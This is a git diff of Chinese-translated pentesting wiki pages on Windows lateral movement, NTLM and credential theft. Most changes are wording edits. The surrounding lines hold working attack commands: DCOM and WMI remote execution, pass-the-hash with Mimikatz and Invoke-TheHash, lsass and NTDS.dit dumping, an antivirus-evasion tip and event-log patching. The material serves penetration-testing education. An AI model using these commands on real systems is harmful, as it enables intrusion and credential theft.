 - [**SmbExec**](smbexec.md)
diff --git a/src/windows-hardening/lateral-movement/dcom-exec.md b/src/windows-hardening/lateral-movement/dcom-exec.md
index 55eefffac..c6bf47963 100644
--- a/src/windows-hardening/lateral-movement/dcom-exec.md
+++ b/src/windows-hardening/lateral-movement/dcom-exec.md
@@ -6,7 +6,7 @@
 
 **有关此技术的更多信息，请查看原始帖子 [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
 
-分布式组件对象模型（DCOM）对象为基于网络的对象交互提供了有趣的能力。微软为DCOM和组件对象模型（COM）提供了全面的文档，分别可以在 [这里查看DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) 和 [这里查看COM](<https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363(v=vs.85).aspx>)。可以使用PowerShell命令检索DCOM应用程序列表：
+分布式组件对象模型（DCOM）对象为基于网络的对象交互提供了有趣的能力。微软为DCOM和组件对象模型（COM）提供了全面的文档，分别可以在 [此处获取DCOM文档](https://msdn.microsoft.com/en-us/library/cc226801.aspx) 和 [此处获取COM文档](<https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363(v=vs.85).aspx>)。可以使用PowerShell命令检索DCOM应用程序列表：
 ```bash
 Get-CimInstance Win32_DCOMApplication
 ```
@@ -36,13 +36,13 @@ ls \\10.10.10.10\c$\Users
 
 **有关此技术的更多信息，请查看原始帖子 [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
 
-**MMC20.Application** 对象被识别为缺乏明确的 "LaunchPermissions"，默认为允许管理员访问的权限。有关更多详细信息，可以在 [这里](https://twitter.com/tiraniddo/status/817532039771525120) 探索一个线程，并建议使用 [@tiraniddo](https://twitter.com/tiraniddo) 的 OleView .NET 来过滤没有明确启动权限的对象。
+**MMC20.Application** 对象被发现缺乏明确的 "LaunchPermissions"，默认为允许管理员访问的权限。有关更多详细信息，可以在 [这里](https://twitter.com/tiraniddo/status/817532039771525120) 探索一个线程，并建议使用 [@tiraniddo](https://twitter.com/tiraniddo) 的 OleView .NET 来过滤没有明确启动权限的对象。
 
 两个特定对象，`ShellBrowserWindow` 和 `ShellWindows`，因缺乏明确的启动权限而被强调。`HKCR:\AppID\{guid}` 下缺少 `LaunchPermission` 注册表项表示没有明确的权限。
 
 ### ShellWindows
 
-对于缺乏 ProgID 的 `ShellWindows`，.NET 方法 `Type.GetTypeFromCLSID` 和 `Activator.CreateInstance` 通过其 AppID 促进对象实例化。此过程利用 OleView .NET 检索 `ShellWindows` 的 CLSID。一旦实例化，可以通过 `WindowsShell.Item` 方法进行交互，从而调用方法，如 `Document.Application.ShellExecute`。
+对于缺乏 ProgID 的 `ShellWindows`，可以使用 .NET 方法 `Type.GetTypeFromCLSID` 和 `Activator.CreateInstance` 通过其 AppID 进行对象实例化。此过程利用 OleView .NET 检索 `ShellWindows` 的 CLSID。一旦实例化，就可以通过 `WindowsShell.Item` 方法进行交互，从而调用方法，如 `Document.Application.ShellExecute`。
 
 提供了示例 PowerShell 命令以实例化对象并远程执行命令：
 ```powershell
@@ -51,9 +51,9 @@ $obj = [System.Activator]::CreateInstance($com)
 $item = $obj.Item()
 $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
 ```
-### Lateral Movement with Excel DCOM Objects
+### 使用 Excel DCOM 对象进行横向移动
 
-侧向移动可以通过利用 DCOM Excel 对象来实现。有关详细信息，建议阅读 [Cybereason's blog](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom) 上关于通过 DCOM 利用 Excel DDE 进行侧向移动的讨论。
+横向移动可以通过利用 DCOM Excel 对象来实现。有关详细信息，建议阅读 [Cybereason's blog](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom) 上关于通过 DCOM 利用 Excel DDE 进行横向移动的讨论。
 
 Empire 项目提供了一个 PowerShell 脚本，演示了通过操纵 DCOM 对象利用 Excel 进行远程代码执行 (RCE)。以下是来自 [Empire's GitHub repository](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) 的脚本片段，展示了滥用 Excel 进行 RCE 的不同方法：
 ```powershell
@@ -80,7 +80,7 @@ $Obj.DDEInitiate("cmd", "/c $Command")
 ```
 ### 侧向移动的自动化工具
 
-有两个工具被强调用于自动化这些技术：
+两个工具被强调用于自动化这些技术：
 
 - **Invoke-DCOM.ps1**：由Empire项目提供的PowerShell脚本，简化了在远程机器上执行代码的不同方法的调用。该脚本可以在Empire GitHub存储库中访问。
 
diff --git a/src/windows-hardening/lateral-movement/psexec-and-winexec.md b/src/windows-hardening/lateral-movement/psexec-and-winexec.md
index b10d6db15..690a2efad 100644
--- a/src/windows-hardening/lateral-movement/psexec-and-winexec.md
+++ b/src/windows-hardening/lateral-movement/psexec-and-winexec.md
@@ -9,7 +9,7 @@
 1. **通过 SMB 复制服务二进制文件到 ADMIN$ 共享**。
 2. **在远程机器上创建服务**，指向该二进制文件。
 3. 服务被 **远程启动**。
-4. 退出时，服务被 **停止，并删除二进制文件**。
+4. 退出时，服务被 **停止，二进制文件被删除**。
 
 ### **手动执行 PsExec 的过程**
 
@@ -17,13 +17,13 @@
 
 - **复制二进制文件**：可执行文件从命令提示符复制到 ADMIN$ 共享，尽管它可以放置在文件系统的任何位置以保持隐蔽。
 - **创建服务**：利用 Windows `sc` 命令，该命令允许远程查询、创建和删除 Windows 服务，创建一个名为 "meterpreter" 的服务，指向上传的二进制文件。
-- **启动服务**：最后一步涉及启动服务，这可能会导致 "超时" 错误，因为该二进制文件不是一个真正的服务二进制文件，未能返回预期的响应代码。此错误无关紧要，因为主要目标是执行该二进制文件。
+- **启动服务**：最后一步是启动服务，这可能会导致 "超时" 错误，因为该二进制文件不是一个真正的服务二进制文件，未能返回预期的响应代码。此错误无关紧要，因为主要目标是执行该二进制文件。
 
 观察 Metasploit 监听器将显示会话已成功启动。
 
 [了解更多关于 `sc` 命令的信息](https://technet.microsoft.com/en-us/library/bb490995.aspx)。
 
-在此处找到更详细的步骤: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
+在此查找更详细的步骤: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
 
 **您还可以使用 Windows Sysinternals 二进制文件 PsExec.exe：**
 
diff --git a/src/windows-hardening/lateral-movement/smbexec.md b/src/windows-hardening/lateral-movement/smbexec.md
index b290750c4..90fcd1e2a 100644
--- a/src/windows-hardening/lateral-movement/smbexec.md
+++ b/src/windows-hardening/lateral-movement/smbexec.md
@@ -10,7 +10,7 @@
 
 - 它通过在目标机器上创建一个临时服务（例如，“BTOBTO”）来通过 cmd.exe (%COMSPEC%) 执行命令，而不放置任何二进制文件。
 - 尽管采用隐蔽的方法，但它确实为每个执行的命令生成事件日志，提供了一种非交互式的“shell”。
-- 使用 **Smbexec** 连接的命令如下：
+- 使用 **Smbexec** 连接的命令如下所示：
 ```bash
 smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
 ```
diff --git a/src/windows-hardening/lateral-movement/wmiexec.md b/src/windows-hardening/lateral-movement/wmiexec.md
index 5ce97f290..ccbf8ca82 100644
--- a/src/windows-hardening/lateral-movement/wmiexec.md
+++ b/src/windows-hardening/lateral-movement/wmiexec.md
@@ -24,14 +24,14 @@ Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | s
 # Listing of namespaces within "root\cimv2"
 Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace
 ```
-可以使用以下命令列出命名空间中的类：
+在命名空间内可以使用以下方式列出类：
 ```bash
 gwmwi -List -Recurse # Defaults to "root\cimv2" if no namespace specified
 gwmi -Namespace "root/microsoft" -List -Recurse
 ```
 ### **类**
 
-知道 WMI 类名，例如 win32_process，以及它所在的命名空间对于任何 WMI 操作都是至关重要的。  
+知道 WMI 类名，例如 win32_process，以及它所在的命名空间，对于任何 WMI 操作都是至关重要的。
 列出以 `win32` 开头的类的命令：
 ```bash
 Get-WmiObject -Recurse -List -class win32* | more # Defaults to "root\cimv2"
@@ -89,15 +89,15 @@ wmic sysaccount list /format:list
 
 ### **手动远程 WMI 查询**
 
-可以通过特定的 WMI 查询隐秘地识别远程计算机上的本地管理员和登录用户。`wmic` 还支持从文本文件读取，以便同时在多个节点上执行命令。
+可以通过特定的 WMI 查询隐秘地识别远程机器上的本地管理员和登录用户。`wmic` 还支持从文本文件读取，以便同时在多个节点上执行命令。
 
 要通过 WMI 远程执行一个进程，例如部署 Empire 代理，使用以下命令结构，成功执行的返回值为 "0"：
 ```bash
 wmic /node:hostname /user:user path win32_process call create "empire launcher string here"
 ```
-该过程展示了WMI远程执行和系统枚举的能力，突显了其在系统管理和渗透测试中的实用性。
+这个过程展示了WMI远程执行和系统枚举的能力，突显了它在系统管理和渗透测试中的实用性。
 
-## 参考
+## 参考文献
 
 - [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
 
diff --git a/src/windows-hardening/ntlm/README.md b/src/windows-hardening/ntlm/README.md
index 4155fcd59..5ffbcc64e 100644
--- a/src/windows-hardening/ntlm/README.md
+++ b/src/windows-hardening/ntlm/README.md
@@ -49,9 +49,9 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
 1. **用户**输入他的 **凭据**
 2. 客户端机器 **发送认证请求**，发送 **域名** 和 **用户名**
 3. **服务器**发送 **挑战**
-4. **客户端使用**密码的哈希作为密钥 **加密** **挑战** 并将其作为响应发送
-5. **服务器将** **域名、用户名、挑战和响应** 发送给 **域控制器**。如果 **没有** 配置 Active Directory 或域名是服务器的名称，则凭据 **在本地检查**。
-6. **域控制器检查一切是否正确** 并将信息发送给服务器
+4. **客户端加密** **挑战**，使用密码的哈希作为密钥，并将其作为响应发送
+5. **服务器将** **域名、用户名、挑战和响应**发送给 **域控制器**。如果 **没有** 配置 Active Directory 或域名是服务器的名称，则凭据 **在本地检查**。
+6. **域控制器检查一切是否正确**，并将信息发送给服务器
 
 **服务器**和 **域控制器**能够通过 **Netlogon** 服务器创建 **安全通道**，因为域控制器知道服务器的密码（它在 **NTDS.DIT** 数据库中）。
 
@@ -63,7 +63,7 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
 
 **挑战长度为 8 字节**，**响应长度为 24 字节**。
 
-**哈希 NT (16 字节)** 被分为 **3 个部分，每个部分 7 字节**（7B + 7B + (2B+0x00\*5)）：**最后一部分用零填充**。然后，**挑战**与每个部分 **单独加密**，**结果**的加密字节被 **连接**。总计：8B + 8B + 8B = 24 字节。
+**哈希 NT (16 字节)** 被分为 **3 个部分，每个部分 7 字节**（7B + 7B + (2B+0x00\*5)）：**最后一部分用零填充**。然后，**挑战**与每个部分 **单独加密**，并将 **结果** 加密字节 **连接**。总计：8B + 8B + 8B = 24 字节。
 
 **问题**：
 
@@ -77,15 +77,15 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
 
 如今，发现配置了不受限制委派的环境变得越来越少，但这并不意味着您不能 **滥用配置的打印后台处理程序服务**。
 
-您可以滥用您在 AD 上已经拥有的一些凭据/会话，以 **请求打印机进行身份验证**，针对某个 **在您控制下的主机**。然后，使用 `metasploit auxiliary/server/capture/smb` 或 `responder`，您可以 **将认证挑战设置为 1122334455667788**，捕获认证尝试，如果使用 **NTLMv1** 进行，您将能够 **破解它**。\
-如果您使用 `responder`，您可以尝试 \*\*使用标志 `--lm` \*\* 来尝试 **降级** **认证**。\
-&#xNAN;_&#x4E;请注意，对于此技术，认证必须使用 NTLMv1 进行（NTLMv2 无效）。_
+您可以滥用您在 AD 上已经拥有的一些凭据/会话，以 **请求打印机对某个您控制的主机进行身份验证**。然后，使用 `metasploit auxiliary/server/capture/smb` 或 `responder`，您可以 **将认证挑战设置为 1122334455667788**，捕获认证尝试，如果使用 **NTLMv1** 进行，您将能够 **破解它**。\
+如果您使用 `responder`，您可以尝试 **使用标志 `--lm`** 来尝试 **降级** **认证**。\
+&#xNAN;_&#x4E;注意，对于此技术，认证必须使用 NTLMv1 进行（NTLMv2 无效）。_
 
-请记住，打印机在认证期间将使用计算机帐户，而计算机帐户使用 **长且随机的密码**，您 **可能无法使用常见的字典破解**。但是 **NTLMv1** 认证 **使用 DES** ([更多信息在这里](./#ntlmv1-challenge))，因此使用一些专门用于破解 DES 的服务，您将能够破解它（例如，您可以使用 [https://crack.sh/](https://crack.sh) 或 [https://ntlmv1.com/](https://ntlmv1.com)）。
+请记住，打印机在认证期间将使用计算机帐户，而计算机帐户使用 **长且随机的密码**，您 **可能无法使用常见的字典破解**。但是 **NTLMv1** 认证 **使用 DES** （[更多信息在这里](./#ntlmv1-challenge)），因此使用一些专门用于破解 DES 的服务，您将能够破解它（例如，您可以使用 [https://crack.sh/](https://crack.sh) 或 [https://ntlmv1.com/](https://ntlmv1.com)）。
 
 ### 使用 hashcat 的 NTLMv1 攻击
 
-NTLMv1 也可以通过 NTLMv1 多工具 [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) 破解，该工具以可以通过 hashcat 破解的方式格式化 NTLMv1 消息。
+NTLMv1 也可以通过 NTLMv1 多工具 [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) 破解，该工具以可以通过 hashcat 破解的方法格式化 NTLMv1 消息。
 
 命令
 ```bash
@@ -157,18 +157,18 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
 
 **挑战长度为 8 字节**，并且**发送 2 个响应**：一个是**24 字节**长，另一个的长度是**可变**的。
 
-**第一个响应**是通过使用**HMAC_MD5**对由**客户端和域**组成的**字符串**进行加密，并使用**NT hash**的**MD4 哈希**作为**密钥**来创建的。然后，**结果**将作为**密钥**用于使用**HMAC_MD5**对**挑战**进行加密。为此，将**添加一个 8 字节的客户端挑战**。总计：24 B。
+**第一个响应**是通过使用**HMAC_MD5**对由**客户端和域**组成的**字符串**进行加密，并使用**NT hash**的**MD4 哈希**作为**密钥**来创建的。然后，**结果**将用作**密钥**，通过**HMAC_MD5**对**挑战**进行加密。为此，将**添加一个 8 字节的客户端挑战**。总计：24 B。
 
 **第二个响应**是使用**多个值**（一个新的客户端挑战，一个**时间戳**以避免**重放攻击**...）创建的。
 
-如果您有一个**捕获了成功身份验证过程的 pcap**，您可以按照本指南获取域、用户名、挑战和响应，并尝试破解密码：[https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/)
+如果你有一个**捕获了成功身份验证过程的 pcap**，你可以按照本指南获取域、用户名、挑战和响应，并尝试破解密码：[https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/)
 
 ## Pass-the-Hash
 
-**一旦您拥有受害者的哈希值**，您可以使用它来**冒充**受害者。\
-您需要使用一个**工具**，该工具将**使用**该**哈希**执行**NTLM 身份验证**，**或者**您可以创建一个新的**sessionlogon**并将该**哈希**注入到**LSASS**中，这样当任何**NTLM 身份验证被执行**时，该**哈希将被使用**。最后一个选项就是 mimikatz 所做的。
+**一旦你拥有受害者的哈希值**，你可以用它来**冒充**受害者。\
+你需要使用一个**工具**，该工具将**使用**该**哈希**执行**NTLM 身份验证**，**或者**你可以创建一个新的**sessionlogon**并将该**哈希**注入到**LSASS**中，这样当任何**NTLM 身份验证被执行**时，该**哈希将被使用**。最后一个选项就是 mimikatz 所做的。
 
-**请记住，您也可以使用计算机帐户执行 Pass-the-Hash 攻击。**
+**请记住，你也可以使用计算机帐户执行 Pass-the-Hash 攻击。**
 
 ### **Mimikatz**
 
@@ -180,7 +180,7 @@ Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm
 
 ### 从 Linux 进行 Pass-the-Hash
 
-您可以使用 Linux 从 Windows 机器上获得代码执行。\
+您可以使用 Linux 从 Windows 机器中获得代码执行。\
 [**访问此处了解如何操作。**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md)
 
 ### Impacket Windows 编译工具
@@ -214,7 +214,7 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff
 ```
 #### Invoke-TheHash
 
-这个功能是**所有其他功能的混合**。您可以传递**多个主机**，**排除**某些主机，并**选择**您想要使用的**选项**（_SMBExec, WMIExec, SMBClient, SMBEnum_）。如果您选择**任何**的**SMBExec**和**WMIExec**但您**没有**提供任何_**Command**_参数，它将仅仅**检查**您是否拥有**足够的权限**。
+这个功能是**所有其他功能的混合**。您可以传递**多个主机**，**排除**某些主机，并**选择**您想要使用的**选项**（_SMBExec, WMIExec, SMBClient, SMBEnum_）。如果您选择**任何**的**SMBExec**和**WMIExec**但**不**提供任何_**Command**_参数，它将仅**检查**您是否拥有**足够的权限**。
 ```
 Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty    h F6F38B793DB6A94BA04A52F1D3EE92F0
 ```
@@ -240,7 +240,7 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
 
 ## NTLM中继和Responder
 
-**在这里阅读有关如何执行这些攻击的更详细指南：**
+**在这里阅读有关如何执行这些攻击的详细指南：**
 
 {{#ref}}
 ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
diff --git a/src/windows-hardening/ntlm/atexec.md b/src/windows-hardening/ntlm/atexec.md
index 344c7bfeb..0c18de4cc 100644
--- a/src/windows-hardening/ntlm/atexec.md
+++ b/src/windows-hardening/ntlm/atexec.md
@@ -4,7 +4,7 @@
 
 ## 它是如何工作的
 
-At 允许在你知道用户名/(密码/哈希)的主机上调度任务。因此，你可以用它在其他主机上执行命令并获取输出。
+At 允许在你知道用户名/(密码/哈希)的主机上调度任务。因此，你可以使用它在其他主机上执行命令并获取输出。
 ```
 At \\victim 11:00:00PM shutdown -r
 ```
diff --git a/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md b/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md
index 248aa3cef..8b4f20c34 100644
--- a/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md
+++ b/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md
@@ -1,7 +1,7 @@
-# Places to steal NTLM creds
+# 偷取 NTLM 凭证的地方
 
 {{#include ../../banners/hacktricks-training.md}}
 
-**查看所有来自 [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) 的精彩想法** 
+**查看 [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) 上的所有精彩想法** 
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/ntlm/psexec-and-winexec.md b/src/windows-hardening/ntlm/psexec-and-winexec.md
index 11334cff3..a29ec2a2e 100644
--- a/src/windows-hardening/ntlm/psexec-and-winexec.md
+++ b/src/windows-hardening/ntlm/psexec-and-winexec.md
@@ -4,12 +4,12 @@
 
 ## 它们是如何工作的
 
-该过程在以下步骤中概述，说明如何通过 SMB 操纵服务二进制文件以实现对目标机器的远程执行：
+该过程在以下步骤中概述，说明如何操纵服务二进制文件以通过 SMB 在目标机器上实现远程执行：
 
 1. **通过 SMB 复制服务二进制文件到 ADMIN$ 共享**。
 2. **在远程机器上创建服务**，指向该二进制文件。
 3. 服务被 **远程启动**。
-4. 退出时，服务被 **停止，二进制文件被删除**。
+4. 退出时，服务被 **停止，并删除二进制文件**。
 
 ### **手动执行 PsExec 的过程**
 
diff --git a/src/windows-hardening/ntlm/smbexec.md b/src/windows-hardening/ntlm/smbexec.md
index d3b8d7e4e..4616c8763 100644
--- a/src/windows-hardening/ntlm/smbexec.md
+++ b/src/windows-hardening/ntlm/smbexec.md
@@ -8,9 +8,9 @@
 
 ### 关于 **SMBExec** 的关键点
 
-- 它通过在目标机器上创建一个临时服务（例如，“BTOBTO”）来执行命令，通过 cmd.exe (%COMSPEC%)，而不放置任何二进制文件。
+- 它通过在目标机器上创建一个临时服务（例如，“BTOBTO”）来通过 cmd.exe (%COMSPEC%) 执行命令，而不放置任何二进制文件。
 - 尽管采用隐蔽的方法，但它确实为每个执行的命令生成事件日志，提供了一种非交互式的“shell”。
-- 使用 **Smbexec** 连接的命令如下所示：
+- 使用 **Smbexec** 连接的命令如下：
 ```bash
 smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
 ```
diff --git a/src/windows-hardening/ntlm/wmiexec.md b/src/windows-hardening/ntlm/wmiexec.md
index ff2bd113c..82b227b36 100644
--- a/src/windows-hardening/ntlm/wmiexec.md
+++ b/src/windows-hardening/ntlm/wmiexec.md
@@ -24,7 +24,7 @@ Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | s
 # Listing of namespaces within "root\cimv2"
 Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace
 ```
-在命名空间内可以使用以下命令列出类：
+在命名空间内可以使用以下方式列出类：
 ```bash
 gwmwi -List -Recurse # Defaults to "root\cimv2" if no namespace specified
 gwmi -Namespace "root/microsoft" -List -Recurse
@@ -89,13 +89,13 @@ wmic sysaccount list /format:list
 
 ### **手动远程 WMI 查询**
 
-可以通过特定的 WMI 查询隐秘地识别远程计算机上的本地管理员和登录用户。 `wmic` 还支持从文本文件读取，以便同时在多个节点上执行命令。
+可以通过特定的 WMI 查询隐秘地识别远程计算机上的本地管理员和登录用户。`wmic` 还支持从文本文件读取，以便同时在多个节点上执行命令。
 
-要通过 WMI 远程执行进程，例如部署 Empire 代理，使用以下命令结构，成功执行的返回值为 "0"：
+要通过 WMI 远程执行一个进程，例如部署 Empire 代理，使用以下命令结构，成功执行的返回值为 "0"：
 ```bash
 wmic /node:hostname /user:user path win32_process call create "empire launcher string here"
 ```
-这个过程展示了WMI的远程执行和系统枚举能力，突显了它在系统管理和渗透测试中的实用性。
+这个过程展示了WMI远程执行和系统枚举的能力，突显了它在系统管理和渗透测试中的实用性。
 
 ## 参考文献
 
diff --git a/src/windows-hardening/stealing-credentials/README.md b/src/windows-hardening/stealing-credentials/README.md
index 91a357f77..7c2fa5ca8 100644
--- a/src/windows-hardening/stealing-credentials/README.md
+++ b/src/windows-hardening/stealing-credentials/README.md
@@ -28,7 +28,7 @@ Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpa
 
 ## 使用 Meterpreter 的凭据
 
-使用我创建的 [**Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **来** **搜索受害者内部的密码和哈希。**
+使用我创建的 [**Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **来** **在受害者内部搜索密码和哈希。**
 ```bash
 #Credentials from SAM
 post/windows/gather/smart_hashdump
@@ -65,9 +65,9 @@ mimikatz # sekurlsa::minidump lsass.dmp
 //Extract credentials
 mimikatz # sekurlsa::logonPasswords
 ```
-此过程是通过 [SprayKatz](https://github.com/aas-n/spraykatz) 自动完成的： `./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24`
+此过程通过 [SprayKatz](https://github.com/aas-n/spraykatz) 自动完成： `./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24`
 
-**注意**：某些 **AV** 可能会将 **procdump.exe 用于转储 lsass.exe** 视为 **恶意**，这是因为它们正在 **检测** 字符串 **"procdump.exe" 和 "lsass.exe"**。因此，将 **lsass.exe 的 PID** 作为参数传递给 procdump **而不是** **lsass.exe 的名称** 更加 **隐蔽**。
+**注意**：某些 **AV** 可能会将 **procdump.exe 用于转储 lsass.exe** 视为 **恶意**，这是因为它们正在 **检测** 字符串 **"procdump.exe" 和 "lsass.exe"**。因此，将 lsass.exe 的 **PID** 作为参数传递给 procdump **而不是** lsass.exe 的 **名称** 更加 **隐蔽**。
 
 ### 使用 **comsvcs.dll** 转储 lsass
 
@@ -91,7 +91,7 @@ rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
 
 ### 使用 procdump 转储 lsass
 
-[Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) 是一个微软签名的二进制文件，是 [sysinternals](https://docs.microsoft.com/en-us/sysinternals/) 套件的一部分。
+[Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) 是一个 Microsoft 签名的二进制文件，是 [sysinternals](https://docs.microsoft.com/en-us/sysinternals/) 套件的一部分。
 ```
 Get-Process -Name LSASS
 .\procdump.exe -ma 608 lsass.dmp
@@ -100,7 +100,7 @@ Get-Process -Name LSASS
 
 [**PPLBlade**](https://github.com/tastypepperoni/PPLBlade) 是一个受保护进程转储工具，支持对内存转储进行混淆，并在不将其写入磁盘的情况下将其传输到远程工作站。
 
-**主要功能**：
+**关键功能**：
 
 1. 绕过 PPL 保护
 2. 混淆内存转储文件以规避 Defender 基于签名的检测机制
@@ -194,7 +194,7 @@ Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c
 
 更多信息请参见：[http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/)
 
-Windows 使用 _Ntdsa.dll_ 与该文件交互，并由 _lsass.exe_ 使用。然后，**NTDS.dit** 文件的一部分可能位于 **`lsass`** 内存中（您可以找到最近访问的数据，可能是由于使用 **缓存** 提高了性能）。
+Windows 使用 _Ntdsa.dll_ 与该文件进行交互，并由 _lsass.exe_ 使用。然后，**NTDS.dit** 文件的一部分可能位于 **`lsass`** 内存中（您可以找到最近访问的数据，可能是由于使用 **缓存** 提高性能）。
 
 #### 解密 NTDS.dit 内的哈希
 
@@ -212,7 +212,7 @@ Windows 使用 _Ntdsa.dll_ 与该文件交互，并由 _lsass.exe_ 使用。然
 ```bash
 ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
 ```
-您还可以使用 [**卷影副本**](./#stealing-sam-and-system) 技巧来复制 **ntds.dit** 文件。请记住，您还需要 **SYSTEM 文件** 的副本（同样，您可以 [**从注册表转储或使用卷影副本**](./#stealing-sam-and-system) 技巧）。
+您还可以使用 [**卷影复制**](./#stealing-sam-and-system) 技巧来复制 **ntds.dit** 文件。请记住，您还需要 **SYSTEM 文件** 的副本（同样，您可以 [**从注册表转储或使用卷影复制**](./#stealing-sam-and-system) 技巧）。
 
 ### **从 NTDS.dit 中提取哈希**
 
@@ -238,7 +238,7 @@ ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
 
 ## Lazagne
 
-从 [这里](https://github.com/AlessandroZ/LaZagne/releases) 下载二进制文件。您可以使用此二进制文件从多个软件中提取凭据。
+从 [here](https://github.com/AlessandroZ/LaZagne/releases) 下载二进制文件。您可以使用此二进制文件从多个软件中提取凭据。
 ```
 lazagne.exe all
 ```
diff --git a/src/windows-hardening/stealing-credentials/credentials-mimikatz.md b/src/windows-hardening/stealing-credentials/credentials-mimikatz.md
index 124625c40..a7b8c4db0 100644
--- a/src/windows-hardening/stealing-credentials/credentials-mimikatz.md
+++ b/src/windows-hardening/stealing-credentials/credentials-mimikatz.md
@@ -2,9 +2,9 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-**本页面基于 [adsecurity.org](https://adsecurity.org/?page_id=1821) 的内容**。请查看原文以获取更多信息！
+**本页面基于 [adsecurity.org](https://adsecurity.org/?page_id=1821) 的内容**。查看原文以获取更多信息！
 
-## 内存中的 LM 和明文
+## LM 和内存中的明文
 
 从 Windows 8.1 和 Windows Server 2012 R2 开始，实施了重要措施以防止凭据盗窃：
 
@@ -14,7 +14,7 @@
 1. 修改注册表 _HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_，将 `RunAsPPL` 设置为 `dword:00000001`。
 2. 实施一个强制此注册表更改的组策略对象（GPO），以在受管理设备上执行。
 
-尽管有这些保护措施，像 Mimikatz 这样的工具仍然可以使用特定驱动程序绕过 LSA 保护，尽管此类操作可能会被记录在事件日志中。
+尽管有这些保护措施，像 Mimikatz 这样的工具仍然可以使用特定驱动程序绕过 LSA 保护，尽管此类行为可能会被记录在事件日志中。
 
 ### 反制 SeDebugPrivilege 移除
 
@@ -45,7 +45,7 @@ sc start TrustedInstaller
 - 示例：`mimikatz "privilege::debug" "event::drop" exit`
 
 - `privilege::debug` 命令确保 Mimikatz 以必要的权限操作，以修改系统服务。
-- `event::drop` 命令随后修补事件日志服务。
+- 然后，`event::drop` 命令修补事件日志服务。
 
 ### Kerberos 票证攻击
 
@@ -72,7 +72,7 @@ Silver Tickets 授予对特定服务的访问权限。关键命令和参数：
 
 - 命令：类似于 Golden Ticket，但针对特定服务。
 - 参数：
-- `/service`: 目标服务（例如，cifs，http）。
+- `/service`：要针对的服务（例如，cifs，http）。
